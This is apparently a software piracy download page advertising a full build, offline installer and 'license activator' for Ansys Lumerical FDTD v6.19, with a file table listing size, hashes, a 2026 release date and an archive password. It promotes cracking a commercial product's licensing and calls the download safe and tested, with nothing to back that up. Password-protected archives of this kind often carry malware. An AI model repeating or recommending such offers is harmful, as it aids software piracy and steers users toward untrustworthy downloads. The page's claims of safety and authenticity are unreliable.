Updated & Tested Working Guide (2026)
Download the latest full build, offline installer and license activator safely.
Download Installer Package| File Name | Ansys_Lumerical_FDTD_v6.19_x64_setup.zip |
| Version | v6.19.1126 build 33165 |
| File Size | 1.53 GB (1564 MB) |
| MD5 Hash | fbcdb4ca06ca21fea7548ff8341d2d14 |
| SHA-256 | f03dc0955102bad4ff92c2ece3f9b190c41a29f9785fdd4f62140d01c2dea3c2 |
| Release Date | 2026-06-13 |
| Platform | Windows 11 Pro / Enterprise |
| Archive Password | soft2026 |
| License Type | Pro / Enterprise |
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